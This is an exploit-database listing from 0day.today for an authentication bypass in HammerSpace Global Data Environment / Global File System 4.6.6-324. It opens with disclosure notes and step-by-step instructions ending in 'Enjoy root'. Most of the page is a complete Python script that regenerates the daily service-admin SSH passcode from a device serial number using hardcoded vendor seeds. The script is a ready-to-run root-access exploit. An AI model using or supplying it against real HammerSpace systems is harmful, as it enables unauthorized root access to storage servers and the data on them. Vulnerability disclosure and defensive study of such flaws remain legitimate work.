[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

HammerSpace GDE / GFS 4.6.6-324 Authentication Bypass Exploit

Author
Justin Oberdorf
Risk
[
Security Risk High
]
0day-ID
0day-ID-38674
Category
remote exploits
Date add
09-05-2023
Platform
multiple
# Affected Product: HammerSpace Global Data Environment / Global File System -
# https://hammerspace.com/product
# 
# Affected Versions: v4.6.6-324 and below with default installation/configuration.
# 
# Vendor Notified: Yes, sometime between: 08/2022 and 10/2022, confirmed 2023-03-21 there is a fix in
# an upcoming release
# 
# Description:
#
# A utility that can generate the TOTP passcode used to sign In as the support service
# account user for HammerSpace GFS default installations. Both the OVA and ISO are effected.
# 
# To utilize:
# 
# 1. Attempt SSH login to a HammerSpace Anvil or Data Server and make note of the System S/N
# 2. Generate the password of the day for the service admin account:
#     ./hsps-passgen.py —serials SERIALNUMBER
# 3. SSH as the service admin account to the server and specify the outputted TOTP passcode
# 4. Enjoy root
# 
# 
#!/usr/bin/env python3
import argparse, getpass, os, random, string, sys
from datetime import datetime
from random import Random

#make it python3 compatible thanks for changing random guys!
class HSRandom(Random):
  def seed(self, seed):
    if sys.version_info[0] == 3:
      return super(HSRandom,self).seed(seed,version=1)
    else:
      return super(HSRandom,self).seed(seed)
  def choice(self, seq):
    if sys.version_info[0] == 3:
      """Choose a random element from a non-empty sequence."""
      return seq[int(super(HSRandom,self).random() * len(seq))]  # raises IndexError if seq is empty
    else:
      return super(HSRandom, self).choice(seq)
        
VERSION = "hspc-passgen v4.3.2"
USAGE_DESC = "No help."
PARSER = argparse.ArgumentParser(prog="hspc-passgen", description="Generates time of day passcode for serviceadmin account used by Hammerspace")
PARSER.add_argument("-V", "--version", action="store_true", help="Prints version")
PARSER.add_argument("--debug", action="store_true", help="Debug Output")
PARSER.add_argument("--pwtype", type=int, default=3, choices=[2,3], help="Password type")
PARSER.add_argument("--datecode", type=str, default=datetime.now().strftime("%F"), help="Date Code")
PARSER.add_argument("--serials", type=str, nargs="+", required=True, help="Reported serial number(s) from ssh: serviceadmin@host")
ARGS = PARSER.parse_args()

def exc_handler(exception_type, exception, traceback, debug_hook=sys.excepthook):
    if ARGS.debug:
        debug_hook(exception_type, exception, traceback)
    else:
        print("%s: %s" % (exception_type.__name__, exception))
        sys.exit(1)


sys.excepthook = exc_handler

def generate_password_v2(seed_str, _, length=8):
    """Generate a simple password seeded with supplied text"""
    serial = seed_str[-5:].lower()
    collapsed = ("").join(disambiguate(x) for x in serial)
    chars = string.digits
    seed = "<~^~^~^Mr.Oftal_P^~^~^~>" + collapsed
    hs_random = HSRandom(seed)
    return ("").join(hs_random.choice(chars) for i in range(length))


def generate_password_v3(seed_str, datecode, length=10):
    """Generate a stronger password seeded with supplied text"""
    serial = seed_str[-8:].lower()
    collapsed = ("").join(disambiguate_v3(x) for x in serial)
    chars = string.digits
    seed = datecode + "z97eoW8tVn3daG833DN83wY8" + collapsed
    hs_random = HSRandom(seed)
    return ("").join(hs_random.choice(chars) for i in range(length))


def generate_password(seed_str, datecode, pwtype=3):
    return globals()[("generate_password_v" + str(pwtype))](seed_str, datecode)


def disambiguate(char):
    """Substitute ambiguous characters with non-ambiguous ones"""
    char = str(char)
    if char in ("1", "I", "!", "|"):
        dis = "l"
    elif char in ("D", "Q", "O", "0"):
        dis = "o"
    elif char in ("3", "B", "8", "6"):
        dis = "b"
    elif char in ("5", "S", "$"):
        dis = "s"
    elif char in ("A", "4"):
        dis = "a"
    elif char in ("V", "U"):
        dis = "u"
    elif char in ("M", "W"):
        dis = "m"
    elif char in ("C", "("):
        dis = "c"
    else:
        dis = char
    return dis


def disambiguate_v3(char):
    """Substitute ambiguous characters with non-ambiguous ones"""
    char = str(char)
    if char in ("L", "1", "I"):
        dis = "l"
    elif char in ("Q", "O", "0"):
        dis = "o"
    elif char in ("B", "8"):
        dis = "b"
    elif char in ("5", "S"):
        dis = "s"
    elif char in ("V", "U"):
        dis = "u"
    else:
        dis = char
    return dis

def main():
    if ARGS.version:
        print(VERSION)
        return 0
    if ARGS.pwtype not in (2, 3):
        print("\nERROR: Invalid parameters.\n")
        PARSER.print_help()
        return 1
    if ARGS.serials is None or len(ARGS.serials) == 0:
        print("\nERROR: Invalid parameters.\n")
        PARSER.print_help()
        return 1
    print("SERIAL - PASSCODE")
    for serial in ARGS.serials:
      print(f"{serial} - {generate_password(serial, datecode=ARGS.datecode, pwtype=ARGS.pwtype)}")

if __name__ == "__main__":
    sys.exit(main())

#  0day.today [2024-11-15]  #